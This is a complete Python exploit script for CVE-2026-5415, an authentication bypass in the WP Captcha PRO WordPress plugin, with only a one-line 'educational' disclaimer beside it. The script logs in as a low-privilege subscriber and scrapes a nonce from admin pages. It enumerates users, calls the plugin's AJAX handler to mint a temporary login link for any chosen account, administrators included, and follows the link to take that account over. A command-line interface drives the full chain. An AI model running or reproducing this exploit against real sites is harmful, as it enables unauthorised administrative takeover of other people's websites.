#!/usr/bin/env python3 """ CVE-2026-5415 WP Captcha PRO Authenticated Authentication Bypass Exploit CVSS: 8.8 (High) Subscriber-level attackers can bypass authentication and log in as any user, including Administrators, by exploiting the AJAX handler that creates temporary login links. The required nonce is exposed via wp_localize_script() on admin pages. Legal Notice: Educational and authorized testing only. """ import requests import re import sys import argparse import time import json from urllib.parse import urljoin, quote from bs4 import BeautifulSoup class WPCaptchaExploit: def __init__(self, target_url, username, password, verbose=False): self.target_url = target_url.rstrip('/') self.username = username self.password = password self.verbose = verbose self.session = requests.Session() self.session.headers.update({ 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36' }) self.nonce = None self.ajax_action = None def log(self, message, level="INFO"): """Log messages based on verbosity""" if self.verbose or level in ["ERROR", "SUCCESS", "CRITICAL"]: print(f"[{level}] {message}") def login(self): """Authenticate as Subscriber user""" self.log("Attempting to authenticate as Subscriber...") login_url = urljoin(self.target_url, '/wp-login.php') try: # Get login page resp = self.session.get(login_url, timeout=10) # Prepare login payload login_data = { 'log': self.username, 'pwd': self.password, 'wp-submit': 'Log In', 'redirect_to': urljoin(self.target_url, '/wp-admin/'), 'testcookie': '1', 'rememberme': 'forever' } resp = self.session.post(login_url, data=login_data, timeout=15, allow_redirects=True) # Check if login was successful if 'wp-admin' in resp.url or 'dashboard' in resp.text.lower(): self.log("Authentication successful!", "SUCCESS") return True else: self.log("Authentication failed", "ERROR") return False except Exception as e: self.log(f"Login error: {e}", "ERROR") return False def extract_nonce(self): """Extract nonce from admin pages via wp_localize_script()""" self.log("Extracting nonce from admin pages...") admin_pages = [ '/wp-admin/', '/wp-admin/edit.php', '/wp-admin/index.php', '/wp-admin/users.php', '/wp-admin/plugins.php' ] try: for page in admin_pages: url = urljoin(self.target_url, page) self.log(f"Checking page: {url}", "INFO") resp = self.session.get(url, timeout=10) if resp.status_code != 200: continue # Look for nonce in various patterns nonce_patterns = [ r'"_ajax_nonce"\s*:\s*"([a-f0-9]+)"', r'agc_nonce\s*=\s*["\']([a-f0-9]+)["\']', r'ajax_nonce\s*[=:]\s*["\']([a-f0-9]+)["\']', r'"nonce"\s*:\s*"([a-f0-9]+)"', r'wp_nonce_field\(["\']([a-f0-9]+)["\']', r'_wpnonce["\']?\s*[=:]\s*["\']([a-f0-9]+)["\']', r'recaptcha.*?nonce["\']?\s*[=:]\s*["\']([a-f0-9]+)["\']', r'agc.*?nonce["\']?\s*[=:]\s*["\']([a-f0-9]+)["\']' ] for pattern in nonce_patterns: match = re.search(pattern, resp.text, re.IGNORECASE | re.DOTALL) if match: self.nonce = match.group(1) self.log(f"Nonce extracted from {page}: {self.nonce}", "SUCCESS") return True self.log("Could not extract nonce from any admin page", "ERROR") return False except Exception as e: self.log(f"Error extracting nonce: {e}", "ERROR") return False def find_ajax_action(self): """Find the AJAX action name""" self.log("Searching for AJAX action name...") try: # Get admin page source url = urljoin(self.target_url, '/wp-admin/edit.php') resp = self.session.get(url, timeout=10) # Look for AJAX action patterns action_patterns = [ r'action["\']?\s*[=:]\s*["\']([a-z_]*recaptcha[a-z_]*)["\']', r'advanced_google_recaptcha[a-z_]*', r'agc[a-z_]*', r'wp_captcha[a-z_]*', r'action["\']?\s*[=:]\s*["\']([a-z_]*captcha[a-z_]*)["\']' ] for pattern in action_patterns: match = re.search(pattern, resp.text, re.IGNORECASE) if match: self.ajax_action = match.group(1) if match.lastindex else match.group(0) self.log(f"AJAX action found: {self.ajax_action}", "SUCCESS") return True # Default action names to try default_actions = [ 'advanced_google_recaptcha_run_tool', 'agc_run_tool', 'wp_captcha_run_tool', 'agc_ajax_handler', 'advanced_google_recaptcha_ajax' ] self.log("Using default AJAX action names", "INFO") self.ajax_action = default_actions[0] return True except Exception as e: self.log(f"Error finding AJAX action: {e}") self.ajax_action = 'advanced_google_recaptcha_run_tool' return True def enumerate_users(self): """Enumerate WordPress users""" self.log("Enumerating WordPress users...") users = [] try: # Try REST API api_url = urljoin(self.target_url, '/wp-json/wp/v2/users') resp = self.session.get(api_url, timeout=10) if resp.status_code == 200: try: user_data = resp.json() for user in user_data: users.append({ 'id': user.get('id'), 'username': user.get('slug'), 'name': user.get('name') }) self.log(f"Found {len(users)} users via REST API", "SUCCESS") return users except: pass # Fallback to common usernames common_users = [ {'id': 1, 'username': 'admin'}, {'id': 2, 'username': 'administrator'}, {'id': 3, 'username': 'editor'}, {'id': 4, 'username': 'author'}, {'id': 5, 'username': 'contributor'} ] self.log("Using common usernames", "INFO") return common_users except Exception as e: self.log(f"Error enumerating users: {e}") return [] def create_temporary_link(self, target_user): """Create temporary login link for target user""" self.log(f"Creating temporary login link for user: {target_user}...") if not self.nonce: self.log("Missing nonce", "ERROR") return None if not self.ajax_action: self.log("Missing AJAX action", "ERROR") return None try: ajax_url = urljoin(self.target_url, '/wp-admin/admin-ajax.php') # Prepare payload payload = { 'action': self.ajax_action, '_ajax_nonce': self.nonce, 'tool': 'create_temporary_link', 'user_id': target_user } self.log(f"Sending AJAX request to: {ajax_url}", "INFO") self.log(f"Payload: {payload}", "INFO") resp = self.session.post(ajax_url, data=payload, timeout=15) self.log(f"Response Status: {resp.status_code}", "INFO") self.log(f"Response Body: {resp.text[:300]}", "INFO") if resp.status_code == 200: try: response_data = resp.json() # Check for success if response_data.get('success') or 'data' in response_data: data = response_data.get('data', {}) # Extract link from various possible response formats temp_link = data.get('link') or data.get('url') or data.get('temporary_link') if temp_link: self.log(f"Temporary link created: {temp_link}", "SUCCESS") return temp_link elif isinstance(data, str): # Response might be the link directly if 'http' in data: self.log(f"Temporary link created: {data}", "SUCCESS") return data self.log(f"Unexpected response format: {response_data}", "ERROR") return None except json.JSONDecodeError: self.log("Failed to parse JSON response", "ERROR") return None else: self.log(f"AJAX request failed: {resp.status_code}", "ERROR") return None except Exception as e: self.log(f"Error creating temporary link: {e}", "ERROR") return None def use_temporary_link(self, temp_link): """Use temporary link to authenticate as target user""" self.log(f"Using temporary link to authenticate...") try: self.log(f"Accessing: {temp_link}", "INFO") resp = self.session.get(temp_link, timeout=15, allow_redirects=True) if resp.status_code == 200: self.log("Temporary link accessed successfully!", "SUCCESS") # Check if we're now logged in as the target user if 'wp-admin' in resp.url or 'dashboard' in resp.text.lower(): self.log("Authentication successful!", "SUCCESS") return True else: self.log(f"Failed to use temporary link: {resp.status_code}", "ERROR") return False except Exception as e: self.log(f"Error using temporary link: {e}", "ERROR") return False def exploit_account(self, target_user): """Execute full exploit chain""" print("\n" + "="*70) print("CVE-2026-5415 WP Captcha PRO Authentication Bypass") print("="*70 + "\n") # Step 1: Login as Subscriber if not self.login(): return False # Step 2: Extract nonce if not self.extract_nonce(): return False # Step 3: Find AJAX action if not self.find_ajax_action(): return False # Step 4: Create temporary link temp_link = self.create_temporary_link(target_user) if not temp_link: return False # Step 5: Use temporary link if not self.use_temporary_link(temp_link): return False print("\n" + "="*70) print("EXPLOITATION SUCCESSFUL") print("="*70) print(f"Target: {self.target_url}") print(f"Attacker User: {self.username}") print(f"Target User: {target_user}") print(f"Temporary Link: {temp_link}") print(f"\nYou are now authenticated as: {target_user}") print("="*70 + "\n") return True class AjaxActionFinder: """Find AJAX action names used by the plugin""" def __init__(self, target_url, session): self.target_url = target_url.rstrip('/') self.session = session def find_actions(self): """Find all AJAX actions in the page""" actions = [] try: url = urljoin(self.target_url, '/wp-admin/') resp = self.session.get(url, timeout=10) # Look for action parameters action_matches = re.findall(r'action["\']?\s*[=:]\s*["\']([a-z_]+)["\']', resp.text) actions.extend(action_matches) # Look for wp_nonce_field patterns nonce_matches = re.findall(r'wp_nonce_field\(["\']([a-z_]+)["\']', resp.text) actions.extend(nonce_matches) except: pass return list(set(actions)) def main(): parser = argparse.ArgumentParser( description='CVE-2026-5415 WP Captcha PRO Authentication Bypass Exploit' ) parser.add_argument('target', help='Target URL (e.g., https://example.com)') parser.add_argument('-u', '--username', required=True, help='Subscriber username') parser.add_argument('-p', '--password', required=True, help='Subscriber password') parser.add_argument('-t', '--target-user', required=True, help='Target user to takeover (username or ID)') parser.add_argument('-v', '--verbose', action='store_true', help='Verbose output') parser.add_argument('--enumerate', action='store_true', help='Enumerate users only') parser.add_argument('--find-action', action='store_true', help='Find AJAX action names') parser.add_argument('--find-nonce', action='store_true', help='Find nonce only') args = parser.parse_args() # Create exploit instance exploit = WPCaptchaExploit( args.target, args.username, args.password, verbose=args.verbose ) # Find AJAX actions if args.find_action: if not exploit.login(): sys.exit(1) finder = AjaxActionFinder(args.target, exploit.session) actions = finder.find_actions() print(f"\n[+] Found {len(actions)} AJAX actions:") for action in actions: if 'recaptcha' in action.lower() or 'captcha' in action.lower(): print(f" * {action} (likely target)") else: print(f" - {action}") sys.exit(0) # Find nonce only if args.find_nonce: if not exploit.login(): sys.exit(1) if exploit.extract_nonce(): print(f"\n[+] Nonce: {exploit.nonce}") sys.exit(0) # Enumerate users if args.enumerate: if not exploit.login(): sys.exit(1) users = exploit.enumerate_users() print(f"\n[+] Found {len(users)} users:") for user in users: print(f" ID: {user.get('id')}, Username: {user.get('username')}, Name: {user.get('name')}") sys.exit(0) # Full exploit success = exploit.exploit_account(args.target_user) sys.exit(0 if success else 1) if __name__ == '__main__': main()